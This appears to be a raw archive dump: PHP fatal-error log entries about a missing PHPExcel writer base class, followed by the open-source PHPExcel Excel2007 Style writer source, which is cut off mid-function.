Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [23-Jun-2024 15:14:32 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php on line 28 [23-Jun-2024 15:14:33 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [23-Jun-2024 15:14:33 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php on line 28 [23-Jun-2024 15:14:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php on line 28 [23-Jun-2024 15:14:34 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php on line 36 [23-Jun-2024 15:14:35 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php on line 28 [23-Jun-2024 15:14:37 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php on line 36 [26-Jun-2024 00:47:41 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php on line 28 [26-Jun-2024 00:47:45 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php on line 28 [26-Jun-2024 05:58:12 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php on line 28 [26-Jun-2024 05:58:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [26-Jun-2024 05:58:13 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [26-Jun-2024 05:58:14 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsRibbon.php on line 28 [26-Jun-2024 05:58:16 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [26-Jun-2024 05:58:19 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/StringTable.php on line 28 [26-Jun-2024 05:58:29 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Style.php on line 28 [26-Jun-2024 05:58:32 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php on line 36 [26-Jun-2024 05:58:39 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php on line 36 [26-Jun-2024 09:22:30 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/ContentTypes.php on line 28 [26-Jun-2024 09:22:32 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [27-Jun-2024 17:44:19 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [27-Jun-2024 17:53:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php on line 28 [27-Jun-2024 21:21:45 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [28-Jun-2024 02:48:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php on line 28 [28-Jun-2024 02:49:40 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [28-Jun-2024 02:59:22 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Theme.php on line 36 [28-Jun-2024 06:26:22 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php on line 28 [28-Jun-2024 12:14:21 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php on line 36 [28-Jun-2024 20:44:38 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Chart.php on line 28 [28-Jun-2024 23:41:49 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [29-Jun-2024 03:51:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Rels.php on line 28 [29-Jun-2024 03:52:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 [29-Jun-2024 03:52:55 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Drawing.php on line 28 [29-Jun-2024 04:03:08 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php:36 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Worksheet.php on line 36 [29-Jun-2024 04:03:12 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php on line 28 [29-Jun-2024 04:03:15 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/DocProps.php on line 28 [29-Jun-2024 04:03:19 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Comments.php on line 28 [29-Jun-2024 05:21:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/Workbook.php on line 28 [29-Jun-2024 05:24:26 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel2007_WriterPart' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel2007/RelsVBA.php on line 28 PHPExcel/Writer/Excel2007/Style.php 0000644 00000066633 14642534107 0012636 0 ustar 00 <?php /** * PHPExcel_Writer_Excel2007_Style * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel2007 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_Excel2007_Style extends PHPExcel_Writer_Excel2007_WriterPart { /** * Write styles to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeStyles(PHPExcel $pPHPExcel = null) { // Create XML writer $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // styleSheet $objWriter->startElement('styleSheet'); $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'); // numFmts $objWriter->startElement('numFmts'); $objWriter->writeAttribute('count', $this->getParentWriter()->getNumFmtHashTable()->count()); // numFmt for ($i = 0; $i < $this->getParentWriter()->getNumFmtHashTable()->count(); ++$i) { $this->writeNumFmt($objWriter, $this->getParentWriter()->getNumFmtHashTable()->getByIndex($i), $i); } $objWriter->endElement(); // fonts $objWriter->startElement('fonts'); $objWriter->writeAttribute('count', $this->getParentWriter()->getFontHashTable()->count()); // font for ($i = 0; $i < $this->getParentWriter()->getFontHashTable()->count(); ++$i) { $this->writeFont($objWriter, $this->getParentWriter()->getFontHashTable()->getByIndex($i)); } $objWriter->endElement(); // fills $objWriter->startElement('fills'); $objWriter->writeAttribute('count', $this->getParentWriter()->getFillHashTable()->count()); // fill for ($i = 0; $i < $this->getParentWriter()->getFillHashTable()->count(); ++$i) { $this->writeFill($objWriter, $this->getParentWriter()->getFillHashTable()->getByIndex($i)); } $objWriter->endElement(); // borders $objWriter->startElement('borders'); $objWriter->writeAttribute('count', $this->getParentWriter()->getBordersHashTable()->count()); // border for ($i = 0; $i < $this->getParentWriter()->getBordersHashTable()->count(); ++$i) { $this->writeBorder($objWriter, $this->getParentWriter()->getBordersHashTable()->getByIndex($i)); } $objWriter->endElement(); // cellStyleXfs $objWriter->startElement('cellStyleXfs'); $objWriter->writeAttribute('count', 1); // xf $objWriter->startElement('xf'); $objWriter->writeAttribute('numFmtId', 0); $objWriter->writeAttribute('fontId', 0); $objWriter->writeAttribute('fillId', 0); $objWriter->writeAttribute('borderId', 0); $objWriter->endElement(); $objWriter->endElement(); // cellXfs $objWriter->startElement('cellXfs'); $objWriter->writeAttribute('count', count($pPHPExcel->getCellXfCollection())); // xf foreach ($pPHPExcel->getCellXfCollection() as $cellXf) { $this->writeCellStyleXf($objWriter, $cellXf, $pPHPExcel); } $objWriter->endElement(); // cellStyles $objWriter->startElement('cellStyles'); $objWriter->writeAttribute('count', 1); // cellStyle $objWriter->startElement('cellStyle'); $objWriter->writeAttribute('name', 'Normal'); $objWriter->writeAttribute('xfId', 0); $objWriter->writeAttribute('builtinId', 0); $objWriter->endElement(); $objWriter->endElement(); // dxfs $objWriter->startElement('dxfs'); $objWriter->writeAttribute('count', $this->getParentWriter()->getStylesConditionalHashTable()->count()); // dxf for ($i = 0; $i < $this->getParentWriter()->getStylesConditionalHashTable()->count(); ++$i) { $this->writeCellStyleDxf($objWriter, $this->getParentWriter()->getStylesConditionalHashTable()->getByIndex($i)->getStyle()); } $objWriter->endElement(); // tableStyles $objWriter->startElement('tableStyles'); $objWriter->writeAttribute('defaultTableStyle', 'TableStyleMedium9'); $objWriter->writeAttribute('defaultPivotStyle', 'PivotTableStyle1'); $objWriter->endElement(); $objWriter->endElement(); // Return return $objWriter->getData(); } /** * Write Fill * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Style_Fill $pFill Fill style * @throws PHPExcel_Writer_Exception */ private function writeFill(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Style_Fill $pFill = null) { // Check if this is a pattern type or gradient type if ($pFill->getFillType() === PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR || $pFill->getFillType() === PHPExcel_Style_Fill::FILL_GRADIENT_PATH) { // Gradient fill $this->writeGradientFill($objWriter, $pFill); } elseif ($pFill->getFillType() !== null) { // Pattern fill $this->writePatternFill($objWriter, $pFill); } } /** * Write Gradient Fill * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Style_Fill $pFill Fill style * @throws PHPExcel_Writer_Exception */ private function writeGradientFill(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Style_Fill $pFill = null) { // fill $objWriter->startElement('fill'); // gradientFill $objWriter->startElement('gradientFill'); $objWriter->writeAttribute('type', $pFill->getFillType()); $objWriter->writeAttribute('degree', $pFill->getRotation()); // stop $objWriter->startElement('stop'); $objWriter->writeAttribute('position', '0'); // color $objWriter->startElement('color'); $objWriter->writeAttribute('rgb', $pFill->getStartColor()->getARGB()); $objWriter->endElement(); $objWriter->endElement(); // stop $objWriter->startElement('stop'); $objWriter->writeAttribute('position', '1'); // color $objWriter->startElement('color'); $objWriter->writeAttribute('rgb', $pFill->getEndColor()->getARGB()); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); } /** * Write Pattern Fill * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Style_Fill $pFill Fill style * @throws PHPExcel_Writer_Exception */ private function writePatternFill(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Style_Fill $pFill = null) { // fill $objWriter->startElement('fill'); // patternFill $objWriter->startElement('patternFill'); $objWriter->writeAttribute('patternType', $pFill->getFillType()); if ($pFill->getFillType() !== PHPExcel_Style_Fill::FILL_NONE) { // fgColor if ($pFill->getStartColor()->getARGB()) { $objWriter->startElement('fgColor'); $objWriter->writeAttribute('rgb', $pFill->getStartColor()->getARGB()); $objWriter->endElement(); } } if ($pFill->getFillType() !== PHPExcel_Style_Fill::FILL_NONE) { // bgColor if ($pFill->getEndColor()->getARGB()) { $objWriter->startElement('bgColor'); $objWriter->writeAttribute('rgb', $pFill->getEndColor()->getARGB()); $objWriter->endElement(); } } $objWriter->endElement(); $objWriter->endElement(); } /** * Write Font * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Style_Font $pFont Font style * @throws PHPExcel_Writer_Exception */ private function writeFont(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Style_Font $pFont = null) { // font $objWriter->startElement('font'); // Weird! The order of these elements actually makes a difference when opening Excel2007 // files in Excel2003 with the compatibility pack. It's not documented behaviour, // and makes for a real WTF! // Bold. We explicitly write this element also when false (like MS Office Excel 2007 does // for conditional formatting). Otherwise it will apparently not be picked up in conditional // formatting style dialog if ($pFont->getBold() !== null) { $objWriter->startElement('b'); $objWriter->writeAttribute('val', $pFont->getBold() ? '1' : '0'); $objWriter->endElement(); } // Italic if ($pFont->getItalic() !== null) { $objWriter->startElement('i'); $objWriter->writeAttribute('val', $pFont->getItalic() ? '1' : '0'); $objWriter->endElement(); } // Strikethrough if ($pFont->getStrikethrough() !== null) { $objWriter->startElement('strike'); $objWriter->writeAttribute('val', $pFont->getStrikethrough() ? '1' : '0'); $objWriter->endElement(); } // Underline if ($pFont->getUnderline() !== null) { $objWriter->startElement('u'); $objWriter->writeAttribute('val', $pFont->getUnderline()); $objWriter->endElement(); } // Superscript / subscript if ($pFont->getSuperScript() === true || $pFont->getSubScript() === true) { $objWriter->startElement('vertAlign'); if ($pFont->getSuperScript() === true) { $objWriter->writeAttribute('val', 'superscript'); } elseif ($pFont->getSubScript() === true) { $objWriter->writeAttribute('val', 'subscript'); } $objWriter->endElement(); } // Size if ($pFont->getSize() !== null) { $objWriter->startElement('sz'); $objWriter->writeAttribute('val', $pFont->getSize()); $objWriter->endElement(); } // Foreground color if ($pFont->getColor()->getARGB() !== null) { $objWriter->startElement('color'); $objWriter->writeAttribute('rgb', $pFont->getColor()->getARGB()); $objWriter->endElement(); } // Name if ($pFont->getName() !== null) { $objWriter->startElement('name'); $objWriter->writeAttribute('val', $pFont->getName()); $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Border * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Style_Borders $pBorders Borders style * @throws PHPExcel_Writer_Exception */ private function writeBorder(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Style_Borders $pBorders = null) { // Write border $objWriter->startElement('border'); // Diagonal? switch ($pBorders->getDiagonalDirection()) { case PHPExcel_Style_Borders::DIAGONAL_UP: $objWriter->writeAttribute('diagonalUp', 'true'); $objWriter->writeAttribute('diagonalDown', 'false'); break; case PHPExcel_Style_Borders::DIAGONAL_DOWN: $objWriter->writeAttribute('diagonalUp', 'false'); $objWriter->writeAttribute('diagonalDown', 'true'); break; case PHPExcel_Style_Borders::DIAGONAL_BOTH: $objWriter->writeAttribute('diagonalUp', 'true'); $objWriter->writeAttribute('diagonalDown', 'true'); break; } // BorderPr $this->writeBorderPr($objWriter, 'left', $pBorders->getLeft()); $this->writeBorderPr($objWriter, 'right', $pBorders->getRight()); $this->writeBorderPr($objWriter, 'top', $pBorders->getTop()); $this->writeBorderPr($objWriter, 'bottom', $pBorders->getBottom()); $this->writeBorderPr($objWriter, 'diagonal', $pBorders->getDiagonal()); $objWriter->endElement(); } /** * Write Cell Style Xf * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Style $pStyle Style * @param PHPExcel $pPHPExcel Workbook * @throws PHPExcel_Writer_Exception */ private function writeCellStyleXf(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Style $pStyle = null, PHPExcel $pPHPExcel = null) { // xf $objWriter->startElement('xf'); $objWriter->writeAttribute('xfId', 0); $objWriter->writeAttribute('fontId', (int)$this->getParentWriter()->getFontHashTable()->getIndexForHashCode($pStyle->getFont()->getHashCode())); if ($pStyle->getQuotePrefix()) { $objWriter->writeAttribute('quotePrefix', 1); } if ($pStyle->getNumberFormat()->getBuiltInFormatCode() === false) { $objWriter->writeAttribute('numFmtId', (int)($this->getParentWriter()->getNumFmtHashTable()->getIndexForHashCode($pStyle->getNumberFormat()->getHashCode()) + 164)); } else { $objWriter->writeAttribute('numFmtId', (int)$pStyle->getNumberFormat()->getBuiltInFormatCode()); } $objWriter->writeAttribute('fillId', (int)$this->getParentWriter()->getFillHashTable()->getIndexForHashCode($pStyle->getFill()->getHashCode())); $objWriter->writeAttribute('borderId', (int)$this->getParentWriter()->getBordersHashTable()->getIndexForHashCode($pStyle->getBorders()->getHashCode())); // Apply styles? $objWriter->writeAttribute('applyFont', ($pPHPExcel->getDefaultStyle()->getFont()->getHashCode() != $pStyle->getFont()->getHashCode()) ? '1' : '0'); $objWriter->writeAttribute('applyNumberFormat', ($pPHPExcel->getDefaultStyle()->getNumberFormat()->getHashCode() != $pStyle->getNumberFormat()->getHashCode()) ? '1' : '0'); $objWriter->writeAttribute('applyFill', ($pPHPExcel->getDefaultStyle()->getFill()->getHashCode() != $pStyle->getFill()->getHashCode()) ? '1' : '0'); $objWriter->writeAttribute('applyBorder', ($pPHPExcel->getDefaultStyle()->getBorders()->getHashCode() != $pStyle->getBorders()->getHashCode()) ? '1' : '0'); $objWriter->writeAttribute('applyAlignment', ($pPHPExcel->getDefaultStyle()->getAlignment()->getHashCode() != $pStyle->getAlignment()->getHashCode()) ? '1' : '0'); if ($pStyle->getProtection()->getLocked() != PHPExcel_Style_Protection::PROTECTION_INHERIT || $pStyle->getProtection()->getHidden() != PHPExcel_Style_Protection::PROTECTION_INHERIT) { $objWriter->writeAttribute('applyProtection', 'true'); } // alignment $objWriter->startElement('alignment'); $objWriter->writeAttribute('horizontal', $pStyle->getAlignment()->getHorizontal()); $objWriter->writeAttribute('vertical', $pStyle->getAlignment()->getVertical()); $textRotation = 0; if ($pStyle->getAlignment()->getTextRotation() >= 0) { $textRotation = $pStyle->getAlignment()->getTextRotation(); } elseif ($pStyle->getAlignment()->getTextRotation() < 0) { $textRotation = 90 - $pStyle->getAlignment()->getTextRotation(); } $objWriter->writeAttribute('textRotation', $textRotation); $objWriter->writeAttribute('wrapText', ($pStyle->getAlignment()->getWrapText() ? 'true' : 'false')); $objWriter->writeAttribute('shrinkToFit', ($pStyle->getAlignment()->getShrinkToFit() ? 'true' : 'false')); if ($pStyle->getAlignment()->getIndent() > 0) { $objWriter->writeAttribute('indent', $pStyle->getAlignment()->getIndent()); } if ($pStyle->getAlignment()->getReadorder() > 0) { $objWriter->writeAttribute('readingOrder', $pStyle->getAlignment()->getReadorder()); } $objWriter->endElement(); // protection if ($pStyle->getProtection()->getLocked() != PHPExcel_Style_Protection::PROTECTION_INHERIT || $pStyle->getProtection()->getHidden() != PHPExcel_Style_Protection::PROTECTION_INHERIT) { $objWriter->startElement('protection'); if ($pStyle->getProtection()->getLocked() != PHPExcel_Style_Protection::PROTECTION_INHERIT) { $objWriter->writeAttribute('locked', ($pStyle->getProtection()->getLocked() == PHPExcel_Style_Protection::PROTECTION_PROTECTED ? 'true' : 'false')); } if ($pStyle->getProtection()->getHidden() != PHPExcel_Style_Protection::PROTECTION_INHERIT) { $objWriter->writeAttribute('hidden', ($pStyle->getProtection()->getHidden() == PHPExcel_Style_Protection::PROTECTION_PROTECTED ? 'true' : 'false')); } $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Cell Style Dxf * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Style $pStyle Style * @throws PHPExcel_Writer_Exception */ private function writeCellStyleDxf(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Style $pStyle = null) { // dxf $objWriter->startElement('dxf'); // font $this->writeFont($objWriter, $pStyle->getFont()); // numFmt $this->writeNumFmt($objWriter, $pStyle->getNumberFormat()); // fill $this->writeFill($objWriter, $pStyle->getFill()); // alignment $objWriter->startElement('alignment'); if ($pStyle->getAlignment()->getHorizontal() !== null) { $objWriter->writeAttribute('horizontal', $pStyle->getAlignment()->getHorizontal()); } if ($pStyle->getAlignment()->getVertical() !== null) { $objWriter->writeAttribute('vertical', $pStyle->getAlignment()->getVertical()); } if ($pStyle->getAlignment()->getTextRotation() !== null) { $textRotation = 0; if ($pStyle->getAlignment()->getTextRotation() >= 0) { $textRotation = $pStyle->getAlignment()->getTextRotation(); } elseif ($pStyle->getAlignment()->getTextRotation() < 0) { $textRotation = 90 - $pStyle->getAlignment()->getTextRotation(); } $objWriter->writeAttribute('textRotation', $textRotation); } $objWriter->endElement(); // border $this->writeBorder($objWriter, $pStyle->getBorders()); // protection if (($pStyle->getProtection()->getLocked() !== null) || ($pStyle->getProtection()->getHidden() !== null)) { if ($pStyle->getProtection()->getLocked() !== PHPExcel_Style_Protection::PROTECTION_INHERIT || $pStyle->getProtection()->getHidden() !== PHPExcel_Style_Protection::PROTECTION_INHERIT) { $objWriter->startElement('protection'); if (($pStyle->getProtection()->getLocked() !== null) && 